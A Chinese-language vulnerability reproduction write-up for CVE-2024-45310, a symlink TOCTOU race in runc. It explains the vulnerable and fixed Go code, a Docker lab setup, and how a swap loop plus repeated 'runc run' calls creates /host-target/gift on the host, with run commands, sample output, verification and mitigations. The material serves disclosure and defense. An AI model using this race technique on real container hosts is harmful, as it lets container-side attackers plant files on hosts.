跳转至

CVE-2024-45310 — runc 符号链接竞争导致宿主机 inode 创建

发布于 2026-06-06

摘要

控制共享卷内容的容器侧攻击者,可以通过在共享卷中赢得符号链接替换竞争,诱使 runc 在宿主机文件系统的任意路径上创建空文件或空目录。

字段
Project runc
受影响组件 libcontainer/rootfs_linux.gocreateMountpoint / createIfNotExists / mountCgroupV1 / mountToRootfs / createDeviceNode
Severity LOW
CVSS CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N (3.6)
CWE CWE-363, CWE-61
受影响版本 < 1.1.14>= 1.2.0-rc.1, < 1.2.0-rc.3
修复版本 v1.1.14;v1.2.0-rc.3
安全公告 GHSA-jfvp-7x6p-h2pv

1. 漏洞概述

runc 是 Docker、containerd、Kubernetes 等主流 OCI 容器平台底层使用的容器运行时。CVE-2024-45310 允许控制容器共享卷内容的攻击者,借助以宿主机 root 权限运行的 runc,在宿主机文件系统的任意路径创建空文件或空目录。攻击者无法读取现有文件、覆盖文件内容或写入任何数据,只能创建新的空 inode。尽管如此,这一能力仍有实际危害:攻击者可以预先创建随后会被特权进程以写方式打开的文件,向程序视为可信的目录(如 /etc/cron.d)注入条目,或干扰依赖存在性检查的逻辑。

根本原因

该漏洞是 runc 在准备容器 rootfs 内挂载目标时存在的检查时间与使用时间(TOCTOU)竞争条件。在 libcontainer/rootfs_linux.go(及其调用的多个辅助函数)中,runc 通过调用 securejoin.SecureJoin(rootfs, m.Destination) 来计算 bind-mount 目标的宿主机绝对路径。SecureJoin 在调用时解析所有符号链接并返回一个普通字符串,runc 随后将该字符串传给 os.MkdirAll,后者作为第二次独立调用会从头重新遍历路径:

// BEFORE (vulnerable)
dest, err := securejoin.SecureJoin(rootfs, m.Destination) // returns a string
// ...
if err := os.MkdirAll(dest, 0o755); err != nil {           // no longer safe — symlink race here
    return err
}

这两次调用之间存在一个时间窗口。若攻击者控制了已解析路径中某个目录组件(例如该组件位于被挂载进容器的全局可写共享卷中),就可以在这个窗口内将其替换为指向任意宿主机路径的符号链接。当 os.MkdirAll 执行时,它会跟随符号链接,在宿主机上创建目标目录,而非在 rootfs 内部创建。

该修复在 runc v1.1.14 和 v1.2.0-rc.3 中引入(补丁提交 63c29088781993f0b652e),将所有针对 rootfs 相对路径的 os.MkdirAll 调用替换为新函数 utils.MkdirAllInRoot(root, unsafePath, mode)

// AFTER (fixed) — representative call site
if err := utils.MkdirAllInRoot(rootfs, dest, 0o755); err != nil {
    return err
}

MkdirAllInRoot 将根目录以文件描述符的形式打开,并使用 openat(O_NOFOLLOW) 配合 mkdirat 逐级遍历路径。每一步都锚定到真实文件描述符而非字符串,因此路径遍历中途的符号链接替换会导致 openat 返回 ENOTDIR,而不是静默地跟随链接跳出 rootfs。对于普通文件的创建(bind-mount 目标存根),相应的修复将 os.OpenFile 替换为 unix.Mknodat,同样不跟随末尾符号链接。


2. 漏洞环境

该环境运行一个特权 Linux 容器ubuntu:22.04),充当内层"宿主机",即安装并运行 runc 的机器。runc v1.1.13(最后一个存在漏洞的版本)通过其官方发布二进制文件安装,并在构建时验证了 SHA256。runc 在这个内层宿主机内启动嵌套容器;CVE 的效果是在内层宿主机自身的文件系统上、任何嵌套容器 rootfs 之外创建 inode。

环境文件可下载:

内层宿主机目录结构

路径 用途
/usr/local/sbin/runc 存在漏洞的 runc 1.1.13 二进制文件
/opt/oci-rootfs BusyBox rootfs;每个 OCI bundle 单独复制
/srv/share-backing 全局可写(mode 0777)的共享卷目录——攻击者的竞争面
/host-target 宿主机上的利用目标目录,位于共享卷和任何嵌套容器 rootfs 之外;干净基线时为空

启动环境

docker compose -f env/docker-compose.yml up -d --wait

验证环境状态是否符合预期:

docker compose -f env/docker-compose.yml ps --format '{{.Name}} {{.Status}}'
docker exec cve-2024-45310-innerhost /usr/local/sbin/runc --version | head -n1
# 预期输出:runc version 1.1.13

docker exec cve-2024-45310-innerhost sh -c \
  'test -d /host-target && [ -z "$(ls -A /host-target)" ] && echo "host-target clean"; ls -ld /srv/share-backing'
# 预期输出:"host-target clean" 以及 /srv/share-backing 的 drwxrwxrwx 权限

容器的 entrypoint.sh 在每次启动时会清空 /host-target,重启容器即可恢复干净基线:

docker compose -f env/docker-compose.yml restart innerhost

3. 利用过程

利用程序由两个 shell 脚本组成:exploit/run.sh(外层驱动,在宿主机上运行)和 exploit/inner.sh(竞争引擎,注入内层宿主机容器执行)。文件可下载:

竞争原理

inner.sh 在内层宿主机容器内并发执行三件事:

  1. Bundle 构建器: 组装一个最小 OCI bundle(config.json),其第二个 bind-mount 的目标路径为 /share/target/gift,其中 /share 是攻击者控制的 /srv/share-backing 的绑定挂载。
  2. 后台交换器: 运行一个紧密循环,将 /srv/share-backing/target 在真实目录与指向 /host-target 的符号链接之间来回切换。这是竞争诱饵。
  3. 前台启动器: 反复调用 runc runrunc delete 对该 bundle 进行操作。每次调用都会触发 runc 的 createMountpointsecurejoin.SecureJoin → 对已解析字符串路径的 os.MkdirAll

当交换器赢得竞争,即符号链接恰好在 os.MkdirAll 遍历路径时到位,runc 会跟随符号链接,在宿主机上创建 /host-target/gift,而非在 bundle rootfs 内部创建。

步骤

第 1 步 — 确认干净基线

docker exec cve-2024-45310-innerhost stat -c '%n %U:%G %F' /host-target/gift
# 预期输出:stat: cannot statx '/host-target/gift': No such file or directory

第 2 步 — 运行利用程序

bash exploit/run.sh cve-2024-45310-innerhost /srv/share-backing /host-target gift 6000
参数 使用值 含义
CONTAINER cve-2024-45310-innerhost 内层宿主机容器名称
SHARE /srv/share-backing 容器内的全局可写竞争面
HOST_TARGET /host-target rootfs 和共享卷之外的目标目录
LEAF gift bind-mount 目标创建的叶目录名称
ITERS 6000 放弃之前的最大 runc run 迭代次数

脚本在 /host-target/gift 出现后立即退出。在已验证的复现运行中,于第 614 次迭代、不到 5 秒内完成。典型输出:

WON race at iteration 614: /host-target/gift created
iterations=614
total 12
drwxr-xr-x 3 root root 4096 ... .
drwxr-xr-x 1 root root 4096 ... ..
drwxr-xr-x 2 root root 4096 ... gift

第 3 步 — 通过独立观测渠道验证

脚本的标准输出不是权威证明。利用脚本不会直接向 /host-target 写入任何内容,只有 runc(以宿主机 root 身份)才能做到这一点。验证方法是从利用脚本之外执行特权宿主机侧 stat

docker exec cve-2024-45310-innerhost stat -c '%n %U:%G %F' /host-target/gift

已验证运行中观测到的输出:

/host-target/gift root:root directory

这确认了以下三点:

  1. 存在性,基线时缺失: 利用运行前 /host-target/giftNo such file or directory
  2. 所有者为宿主机 root: root:root 证明是 runc 而非无特权攻击者创建了该 inode;攻击者没有绕过 runc 直接写入 /host-target 的途径。
  3. 位于 rootfs 和共享卷之外: inode 编号 33687783/srv/share-backing/target(inode 33687784)不同,且路径位于 /host-target 下,与 /srv/share-backing/opt/oci-rootfs 同级。

已验证运行中额外的 inode 区分检查:

stat -c '%i %n' /host-target/gift          → 33687783 /host-target/gift
stat -c '%i %n' /srv/share-backing/target  → 33687784 /srv/share-backing/target

环境清理

docker compose -f env/docker-compose.yml down -v

创建的 inode 仅存在于内层宿主机容器的文件系统上,执行 docker compose restartdown -v 后即完全删除,对外层宿主机无任何副作用。


4. 安全建议

修复措施

升级 runc 至 v1.1.14(稳定版)或 v1.2.0-rc.3(候选版)。两个版本均将所有针对 rootfs 相对路径的 os.MkdirAll 裸调用替换为 utils.MkdirAllInRoot,后者使用 openat(O_NOFOLLOW)mkdirat 遍历路径,始终锚定到文件描述符,消除了符号链接替换窗口。

捆绑了自身 runc 的容器运行时(Docker Engine、containerd、CRI-O)应升级至搭载 runc ≥ 1.1.14 的版本。

缓解措施与变通方案

如无法立即升级:

  • 避免不可信共享卷。 攻击需要攻击者控制的路径组件位于全局可写目录中,且该目录同时被 bind-mount 为容器卷。限制哪些目录可作为卷共享、并确保共享卷非全局可写,可显著提高攻击门槛。
  • 无根(Rootless)runc / 用户命名空间容器。 利用依赖 runc 以 root 身份在宿主机上创建 inode,以无特权用户身份运行 runc 的 rootless 模式可将影响范围限制在该用户可写的路径范围内。
  • 鉴于 CVSS 3.1 评分仅为 3.6,该漏洞于 2024-09-03 未设禁运期直接公开披露。披露时尚无武器化的公开 PoC 流传。

参考资料